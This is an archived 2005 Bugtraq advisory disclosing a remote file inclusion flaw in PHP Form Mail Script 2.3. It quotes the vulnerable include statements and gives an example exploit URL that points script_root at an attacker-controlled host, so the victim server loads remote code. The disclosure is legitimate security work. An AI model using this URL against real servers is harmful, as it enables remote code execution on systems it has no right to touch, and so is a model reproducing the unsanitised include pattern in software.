[prev in list] [next in list] [prev in thread] [next in thread]
List: bugtraq
Subject: PHP Form Mail Script (2.3) - Arbitrary File Inclusion (VXSfx)
From: Filip Groszynski <groszynskif () gmail ! com>
Date: 2005-03-04 17:26:08
Message-ID: 20050304172608.1543.qmail () www ! securityfocus ! com
[Download RAW message or body]
-- == -- == -- == -- == -- == -- == -- == -- == -- == --
Name: Form Mail Script (FS)
Version: <= 2.3 (free/commercial)
Homepage: http://www.stadtaus.com/
Author: Filip Groszynski (VXSfx)
Date: 4 March 2005
-- == -- == -- == -- == -- == -- == -- == -- == -- == --
Vulnerable code in inc/formmail.inc.php:
...
/*****************************************************
** Include functions
*****************************************************/
include $script_root . 'inc/functions.inc.php';
include $script_root . 'inc/template.class.inc.php';
include $script_root . 'inc/template.ext.class.inc.php';
include $script_root . 'inc/formmail.class.inc.php';
...
include $script_root . 'languages/language.' . $language . '.inc.php';
...
--------------------------------------------------------
Example:
if register_globals=on and allow_url_fopen=on:
http://[victim]/[dir]/inc/formmail.inc.php?script_root=http://[hacker_box]/
--------------------------------------------------------
Fix and Vendor status:
Vendor has been notified.
--------------------------------------------------------
Contact:
Author: Filip Groszynski <VXSfx>
Location: Poland <Warsaw>
Email: groszynskif <at> gmail <dot> com
HP: http://shell.homeunix.org
-- == -- == -- == -- == -- == -- == -- == -- == -- == --
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic